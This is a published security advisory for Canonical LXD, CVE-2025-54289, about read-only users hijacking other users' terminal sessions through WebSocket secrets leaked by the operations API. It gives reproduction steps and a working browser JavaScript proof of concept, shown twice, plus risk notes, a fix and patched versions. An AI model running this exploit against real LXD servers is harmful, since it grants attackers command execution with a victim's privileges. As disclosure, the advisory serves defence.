ghsa-3g72-chj4-2228
Vulnerability from github
Published
2025-10-02 21:19
Modified
2025-10-02 21:19
Summary
Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API
Details

Impact

LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

Reproduction Steps

  1. Log in to LXD-UI using an account with read-only permissions
  2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = `wss://${window.location.host}/1.0/events?type=operation&all-p rojects=true`; this.eventsConn = new WebSocket(this.wsBase); this.eventsConn.onopen = (event) => { console.log('Events conn Opened'); }; this.eventsConn.onmessage = (event) => { callback(event); }; }} class LXDWebSocketSession { constructor(operationId, secrets) { this.operationId = operationId; this.secrets = secrets; this.wsBase = `wss://${window.location.host}/1.0/operations/${operationId}/w ebsocket`; this.connections = {}; this.connections.data = new WebSocket(`${this.wsBase}?secret=${this.secrets['0']}`); this.connections.data.onopen = (event) => { console.log('Data Opened'); this.connections.data.send(new TextEncoder().encode('touch /tmp/xxx\r')); } this.connections.data.onmessage = (event) => { console.log('[Data]', event.data); }; this.connections.control = new WebSocket(`${this.wsBase}?secret=${this.secrets.control}`); this.connections.control.onopen = (event) => { console.log('Control Opened'); } this.connections.control.onmessage = (event) => { console.log('[Control]', event.data); }; } close() { Object.values(this.connections).forEach(ws => { if (ws.readyState === WebSocket.OPEN) { ws.close(); } }); } } const sessions = []; new LXDEventsSession( (event) => { const op = JSON.parse(event.data); const opId = op.metadata.id;const secrets = op.metadata.metadata.fds; for(const session of sessions){ if(session.operationId === opId){ return; } } sessions.push(new LXDWebSocketSession(opId, secrets)) }); })();

  1. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification.
  2. Refresh the attacker's browser tab to stop event listening
  3. Have the victim reopen their terminal/console session and verify:

$ ls -la /tmp/xxx

Risk

Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.

Countermeasures

As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.

Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References

Reported by GMO Flatt Security Inc.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "5.21.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0"
            },
            {
              "fixed": "6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20200331193331-03aab09f5b5c"
            },
            {
              "fixed": "0.0.0-20250827065555-0494f5d47e41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-02T21:19:29Z",
    "nvd_published_at": "2025-10-02T10:15:39Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nLXD\u0027s operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.\n\nTherefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim\u0027s privileges.\n\n### Reproduction Steps\n\n1. Log in to LXD-UI using an account with read-only permissions\n2. Open browser DevTools and execute the following JavaScript code\n\nNote that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.\n\n```js\n(async () =\u003e {\nclass LXDEventsSession {\nconstructor(callback) {\nthis.wsBase =\n`wss://${window.location.host}/1.0/events?type=operation\u0026all-p\nrojects=true`;\nthis.eventsConn = new WebSocket(this.wsBase);\nthis.eventsConn.onopen = (event) =\u003e {\nconsole.log(\u0027Events conn Opened\u0027);\n};\nthis.eventsConn.onmessage = (event) =\u003e {\ncallback(event);\n};\n}}\nclass LXDWebSocketSession {\nconstructor(operationId, secrets) {\nthis.operationId = operationId;\nthis.secrets = secrets;\nthis.wsBase =\n`wss://${window.location.host}/1.0/operations/${operationId}/w\nebsocket`;\nthis.connections = {};\nthis.connections.data = new\nWebSocket(`${this.wsBase}?secret=${this.secrets[\u00270\u0027]}`);\nthis.connections.data.onopen = (event) =\u003e {\nconsole.log(\u0027Data Opened\u0027);\nthis.connections.data.send(new\nTextEncoder().encode(\u0027touch /tmp/xxx\\r\u0027));\n}\nthis.connections.data.onmessage = (event) =\u003e {\nconsole.log(\u0027[Data]\u0027, event.data);\n};\nthis.connections.control = new\nWebSocket(`${this.wsBase}?secret=${this.secrets.control}`);\nthis.connections.control.onopen = (event) =\u003e {\nconsole.log(\u0027Control Opened\u0027);\n}\nthis.connections.control.onmessage = (event) =\u003e {\nconsole.log(\u0027[Control]\u0027, event.data);\n};\n}\nclose() {\nObject.values(this.connections).forEach(ws =\u003e {\nif (ws.readyState === WebSocket.OPEN) {\nws.close();\n}\n});\n}\n}\nconst sessions = [];\nnew LXDEventsSession( (event) =\u003e {\nconst op = JSON.parse(event.data);\nconst opId = op.metadata.id;const secrets = op.metadata.metadata.fds;\nfor(const session of sessions){\nif(session.operationId === opId){\nreturn;\n}\n}\nsessions.push(new LXDWebSocketSession(opId, secrets))\n});\n})();\n```\n\n5. Have another user (or yourself for testing) start a terminal or console session on an instance\nAt this time, whoever uses the secret first gains session rights, so it\u0027s recommended to intentionally slow down communication speed using DevTools\u0027 bandwidth throttling feature for verification.\n6. Refresh the attacker\u0027s browser tab to stop event listening\n7. Have the victim reopen their terminal/console session and verify:\n\n```\n$ ls -la /tmp/xxx\n```\n\n### Risk\nAttack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.\n\n### Countermeasures\nAs a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.\n\nSpecifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.\n\n### Patches\n\n| LXD Series  | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5  |\n| 5.21 | Fixed in LXD 5.21.4  |\n| 5.0 | Ignored - Not critical |\n| 4.0  | Ignored - EOL and not critical |\n\n### References\nReported by GMO Flatt Security Inc.",
  "id": "GHSA-3g72-chj4-2228",
  "modified": "2025-10-02T21:19:29Z",
  "published": "2025-10-02T21:19:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-3g72-chj4-2228"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54289"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…